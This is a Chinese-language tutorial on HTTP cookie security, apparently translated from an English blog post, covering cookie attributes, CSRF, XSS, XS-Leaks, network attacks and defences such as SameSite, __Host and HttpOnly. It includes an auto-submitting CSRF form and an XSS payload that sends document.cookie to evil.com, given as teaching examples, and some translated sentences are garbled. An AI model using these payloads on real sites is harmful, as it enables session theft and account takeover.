Cookie 安全

在本文中,您将了解有关 HTTP cookie 安全性、什么是与 cookie 相关的攻击以及如何防御它们的所有信息。

我将假设读者是开发人员,并使用诸如“变量”和“属性”之类的术语来使事情更容易理解。如果读者碰巧不是开发人员,我很抱歉。

让我们开始!

什么是 Cookie?

HTTP cookie 是网站可以在浏览器中设置的变量。Cookies 实际上是一种键值对存储,但Cookie您很快就会了解本课程中的一些附加属性。

通常,Web 服务器通过HTTP 响应标头Set-Cookie设置 cookie ,就像这样。

Set-Cookie: SessionId=s3cr3t;

但是,网站也可以通过 JavaScript 设置 cookie:

document.cookie = 'SessionId=s3cr3t'

这是浏览器 cookie jar 中 cookie 的样子:

Name: 'SessionId'
Value: s3cr3t"
Domain: 'www.example.com'
ExpiresOrMaxAge: 'Session'
HostOnly: true
HttpOnly: false
Path: '/'
SameSite: 'None'
Secure: false

Cookie然后浏览器将这些 cookie 在请求标头中发送回网络服务器,如下所示:

Cookie: Foo=Bar; SessionId=s3cret;

请注意,浏览器只会将 cookie 的名称和值发送回网络服务器。

Cookie 有什么用途?

Cookie 有多种用途,主要用于跟踪、个性化和会话管理。在本文中,我们主要关注会话管理。

例如,Web 应用程序在身份验证时向用户发出会话标识符 cookie 是很常见的。

Set-Cookie: SessionId=s3cr3t

Cookies 发送到哪里?

Cookie 有四个影响其范围的属性,即 cookie 被发送到的 URL 地址。这些是:

  • domain: 浏览器应该向哪个域(可能包括子域)发送 cookie?
  • hostOnly: 浏览器是否应该只将 cookie 发送到设置它的确切域,不包括子域?
  • path: 浏览器应该将 cookie 发送到哪些 URL 路径(即 /foo/bar)?
  • secure: 浏览器应该只通过加密通道(HTTPS、WSS)还是不加密(HTTP、WS)发送 cookie?

谁可以为网站设置 Cookie?

任何网站都可以设置 cookie:

  • 它的域。
  • 其父域(TLD 或公共后缀除外)。
  • 通过扩展,但不是直接,父域的所有子域。

例如,foo.example.com可以为 设置一个 cookie .example.com,在这种情况下,浏览器也会将 cookie 发送到example.combar.example.com

Domain通过该属性可以方便地指定域。

HTTP 网站能否在 HTTPS 网站上设置 Cookie?

是的。方案(例如 http:// 或 https://)无关紧要。此外,端口无关紧要。例如,网站https://www.example.com:12345http://www.example.com共享 cookie。

域属性

此属性确定 cookie 应发送到哪些网站,并且默认为设置 cookie 的网站的主机名。

如果www.example.com是设置 cookie 的人,那么domain将是www.example.com.

可以将此值更改为,例如.www.example.com,之后浏览器会将 cookie 发送到www.example.com及其所有子域(foo.www.example.com、、bar.www.example.com等)。

# Send the cookie to www.example.com and all subdomains of www.example.com
Set-Cookie: SessionId=s3cret; domain=.www.example.com

☝ 注意

即使您指定domain=www.example.com,浏览器也会默默地将其更改为domain=.www.example.com.

网站也可以将 cookie 限定为其父域,但有以下限制:

  • 不允许为 TLD(顶级域)设置 cookie 的范围。
  • 不允许为公共后缀限定 cookie。在此处阅读有关列表的更多信息:公共后缀列表

如果www.example.com将 cookie 限定为.example.com,则浏览器会将 cookie 发送到example.com及其所有子域。

# Send the cookie to example.com and all subdomains of example.com
Set-Cookie: SessionId=s3cret; domain=.example.com

设置属性会自动将布尔值domain翻转为. 下面我们来看看这个属性。hostOnlyfalse

HostOnly 属性

HostOnly属性确定浏览器是否应该只将 cookie 发送到创建它的确切域。如果为 false,浏览器也会将 cookie 发送到子域。

标题HostOnly中没有手动配置。除非您设置属性,否则Set-Cookie它始终是,在这种情况下它始终是.truedomainfalse

# Here HostOnly is true
Set-Cookie: SessionId=s3cret;
# Here HostOnly is false
Set-Cookie: SessionId=s3cret; domain=www.example.com

路径属性

开发人员可以使用该path属性来限制发送 cookie 的路径。

通过将 设置path/foo/bar,浏览器将仅将 cookie 包含在请求中,例如https://www.example.com/foo/barhttps://www.example.com/foo/bar/hello

浏览器不会将其发送到https://www.eample.com/foo/barbars.

# Here, the cookie only gets sent to www.example.com/foo/bar and its subdirectories.
Set-Cookie: SessionId=s3cr3t; path=/foo/bar

存在大量与 cookie 相关的安全风险。以下是一些最突出的:

CSRF(跨站请求伪造)

当使用 cookie 进行会话管理的 Web 应用程序无法验证 HTTP POST 请求的来源时,通常会出现这些漏洞。

例如,假设用户可以登录 AppSec Monkey 并更新他们的电子邮件地址。

后端代码可能看起来像这样(至少如果你使用 Django):

def update_email(request):
  new_email = request.POST['new_email']
  set_new_email(request.user, new_email)

现在假设有一个evil.example.com带有以下 HTML 表单和自动提交脚本的邪恶网站:

<form method="POST" action="https://www.appsecmonkey.com/user/update-email/">
  <input type="hidden" name="new_email" value="evil@example.com" />
</form>
<script type="text/javascript">
  document.badform.submit()
</script>

当当前登录的用户www.appsecmonkey.com进入恶意网站时,将代表用户自动提交 HTML 表单,并立即将以下 HTTP POST 请求发送到www.appsecmonkey.com

POST /user/update-email/ HTTP/1.1
Host: www.appsecmonkey.com
Cookie: SessionId=s3cr3t
...

new_email=evil@example.com

并且电子邮件地址被更改。

请注意SessionIdcookie 是如何包含在请求中的,从而使攻击成为可能。

在此处阅读有关 CSRF 攻击的更多信息:CSRF 攻击与预防

XSS(跨站脚本)

当不受信任的数据在 Web 上下文中被解释为代码时,就会出现 XSS 漏洞。它们可能是由许多编程错误引起的,但这里有一个简单的例子。

比如说,我们有一个这样的 PHP 脚本。

echo "<p>Search results for: " . $_GET('search') . "</p>"

它很容易受到攻击,因为它会不安全地生成 HTML。search参数编码不正确。攻击者可以创建如下链接,当目标打开它时,该链接将在网站上执行攻击者的 JavaScript 代码:

https://www.example.com/?search=
<script>
  alert('XSS')
</script>

HTML 中的结果如下:

<p>
  Search results for:
  <script>
    alert('XSS')
  </script>
</p>

现在攻击者可以做的,就是把它alert("XSS")变成更邪恶的东西。例如,下面的 IMG 标签会获取登录用户的 cookie 并将它们发送到 evil.com:

https://www.example.com/?search=<img
  src="x"
  onerror="this.src='https://www.evil.com/collect?cookie='+document.cookie"
/>

注意 cookie 是如何被JavaScript 代码访问的,这使得窃取它成为可能。还要注意 cookie 是如何在 GET 请求中发送到 的https://www.example.com/search这使得在经过身份验证的用户的上下文中利用 XSS 漏洞成为可能。

在此处阅读有关 XSS 攻击的更多信息:XSS 攻击和预防

XS 泄漏(跨站点泄漏)

XS-Leaks(或 Cross-Site Leaks)是一组浏览器侧通道攻击。它们使恶意网站能够从其他 Web 应用程序的用户那里推断数据。

例如,evil.com 可以代表您向www.example.com发送请求,并根据响应时间推断返回给您的内容类型。

var start = performance.now()

fetch('https://www.example.com', {
  mode: 'no-cors',
  credentials: 'include',
}).then(() => {
  var time = performance.now() - start
  console.log('The request took %d ms.', time)
})

有很多很多类似的技术和使用它们的新颖攻击。出于本文的目的,请注意计时攻击是可能的,因为浏览器在跨站点请求中包含会话 cookie。

在此处阅读有关 XS-Leaks 的更多信息:XS-Leaks 攻击和预防

网络攻击

与浏览器用户在同一网络上的攻击者可以轻松拦截浏览器和 Web 服务器之间的网络连接。这就是网络协议的工作方式。

因此,开发人员和架构师不应将网络介质视为一种安全控制(加密是一种安全控制),但这是另一天的咆哮。

然后,网络上的攻击者可以强制目标用户的浏览器进行未加密的连接http://www.example.com,然后从请求中窃取会话 cookie。

请注意会话 cookie 是如何通过未加密的连接传输的,该会话 cookie 仅应在 HTTPS 页面上使用。

网络攻击也可用于设置或覆盖 cookie。例如,攻击者可以再次强制与网络服务器建立未加密的连接,然后伪造带有Set-Cookie标头的回复。

Set-Cookie: SessionId=123

强制 cookie 进入用户浏览器的安全隐患各不相同。

典型的攻击是会话固定。攻击者将会话标识符强制输入目标用户的浏览器,然后等待用户登录。易受攻击的 Web 应用程序无法在登录时创建新的会话标识符。相反,它会验证攻击者已知的 cookie。

出于我们的目的,请观察如何通过未加密的连接设置 cookie。

恶意子域

假设你有safe.example.comhacked.example.com

被黑域攻击用户 cookie 的第一种方式是,您出于某种原因指定了domain属性并将 cookie 范围限定为.example.com.

现在hacked.example.com只需将您的登录用户重定向到他们的网站,cookie 将是他们的。

第二种方法是hacked.example.com设置或覆盖 cookie 并将其范围限定为 domain .example.com。现在设置的 cookiehacked.example.com将被发送到safe.example.com. 每个应用程序的安全含义也不同,但会话固定是一个常见的威胁。

物理攻击

在前一个用户离开后,后续计算机用户可以检查浏览器的内存、缓存、cookie、存储等。假设磁盘上有有效的会话标识符。在这种情况下,攻击者可以恢复会话并以以前的计算机用户身份登录。

攻击先决条件

我们为各种与 cookie 相关的攻击确定了以下关键要求。

  • 浏览器允许在跨站点请求中传输 cookie。
  • 浏览器允许 JavaScript 代码访问 cookie。
  • 浏览器在未加密的请求中发送 cookie。
  • 浏览器允许在未加密的连接中设置 cookie。
  • 浏览器允许子域设置 cookie。
  • 浏览器允许 cookie 在浏览器会话中持续存在。
  • Web 服务器不会在身份验证时创建新的会话标识符。
  • Web 服务器不会在注销时使会话标识符无效。
  • 网络服务器在注销时没有充分清除 cookie。

现在让我们开始研究如何一个一个地剥夺攻击者的每一个。

SameSite 属性

我们要讨论的第一个 cookie 安全特性是SameSite属性。

还记得许多攻击(CSRF、XSS、一些 XS-Leaks)的先决条件是浏览器在跨站点请求中包含会话 cookie 吗?嗯,这正是SameSite阻止。

中有三种模式SameSite,具体取决于您希望保护的严格程度LaxStrictNone.

通常,Lax适用于所有应用程序,同时Strict更适合安全关键系统。

SameSite 松懈

lax 模式缓解了许多 XS 泄漏、大多数 CSRF 以及一些 XSS 攻击。它通过防止 cookie 包含在跨站点请求中来做到这一点,除了当用户单击链接、被重定向、打开书签等时的顶级导航。

Set-Cookie: SessionId=s3cr3t; SameSite=Lax; ...

SameSite 严格

严格模式可以防止更多的 XS-Leaks 和 CSRF 攻击,并且非常擅长阻止反射型 XSS 攻击。即使在顶级浏览中,它也不允许浏览器包含 cookie。严格模式通常会伤害用户体验,并不适合所有应用程序。

Set-Cookie: SessionId=s3cr3t; SameSite=Strict; ...

SameSite 无

None只是用于选择退出,因为SameSite=Lax它开始成为较新浏览器的默认设置。

Set-Cookie: SessionId=s3cr3t; SameSite=None; Secure; ...

在此处阅读有关 SameSite 属性的更多信息:SameSite Cookie 以及它们为何如此出色

_ _主机前缀

我们列表中的下一个 cookie 安全功能是__Host前缀。这不是很广为人知,但说到饼干,名字很重要!为您的 cookie 命名__Host-Something,网络浏览器将对网络服务器如何设置 cookie 应用两个重要限制。

  1. 浏览器不允许通过未加密的连接或没有该Secure属性来设置 cookie。
  2. 浏览器不允许设置domain属性,强制 cookie 成为hostOnlycookie(因此是前缀名称)。
Set-Cookie: __Host-SessionId=s3cr3t ...options...

_ _主机前缀可防御网络攻击和恶意子域。

HttpOnly 属性

cookie 安全功能之一是专门用于防止 XSS 的,这就是HttpOnly属性。

此属性将阻止 JavaScript 代码访问 cookie,从而防止攻击者在 XSS(跨站点脚本)攻击成功时窃取它。

Set-Cookie: SessionId=s3cr3t; ...other options... HttpOnly

安全 cookie

最后,该Secure属性将防止 cookie 通过(意外或强制)未加密的网络服务器连接泄露。浏览器不会Secure在 http:// 或 ws:// 请求中包含使用属性设置的 cookie,只有 https:// 和 ws://。

Set-Cookie: SessionId=s3cr3t; ...other options... Secure

处理用户登录

为了防止上面提到的会话固定攻击,您必须始终在成功验证后为用户创建一个新的会话标识符。永远不要“使旧会话 id 进行身份验证”。

到期

通过为 cookie 设置过期时间,即使用户关闭浏览器,浏览器也不会在该时间到来之前将其删除。

Set-Cookie: SessionId=s3cr3t; Expires=Tue, 15 Feb 2021 08:00:00 GMT

因此,最好不要设置此属性。省略Expires将使 cookie 成为浏览器术语中的会话 cookie,这意味着浏览器更有可能在浏览器关闭时将其删除。

我说“更有可能”是因为浏览器可以决定将 cookie 保留在磁盘上以实现“恢复会话”功能。

不过,至少最好尝试一下。

清除 cookie

网络服务器通过设置一个具有虚拟值的新 cookie 来删除 cookie,例如“deleted”,过期时间设置为过去。

Set-Cookie: SessionId=deleted; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT

你仍然可以这样做。但您也可以返回Clear-Site-Data标头以指示浏览器删除您网站的任何 cookie。

Clear-Site-Data: 'cookies'

事实上,Clear-Site-Data可以做的更多:

Clear-Site-Data: "cookies", "cache", "storage", "executionContexts"

在此处阅读更多信息Clear-Site-Datahttps ://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data

处理用户注销

当用户注销时,除了从浏览器中清除 cookie 外,您还必须使服务器端的会话标识符无效。

这样,即使 cookie 在用户注销后被泄露,该 cookie 对攻击者也不再具有任何价值。

这是一个合理的安全 cookie:

Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Lax; Path=/

这是我们目前可以获得的最安全的方法,但SameSite=Strict可能会损害用户体验。

Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Strict; Path=/

结论

有很多与 cookie 相关的攻击,但幸运的是现代浏览器为我们提供了很好地缓解它们的机制。

  1. 将您的 cookie 命名为 _主机,以防止网络攻击和恶意子域。
  2. 省略Domain属性以防止恶意子域。
  3. SameSite属性设置为LaxStrict以防止 XSS、CSRF 和 XS-Leaks 攻击。
  4. 设置HttpOnly属性以防止 cookie 在 XSS 攻击时被盗。
  5. 设置Secure属性以保护 cookie 在受到网络攻击时不被泄露。
  6. 在身份验证时为您的用户创建一个新的会话 cookie。
  7. 设置cookie时省略该Expires属性以指示浏览器在浏览器关闭后将其删除。他们不会总是服从,但最好至少尝试一下。
  8. 当用户注销时,使服务器端的会话 cookie 无效,以便 cookie 不再对攻击者有用。
  9. 通过设置一个虚拟值和过去的过期时间来清除 cookie。
  10. 还可以通过在注销时发送 Clear-Site-Data 标头来清除 cookie,最好是缓存、存储和 executionContext。
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值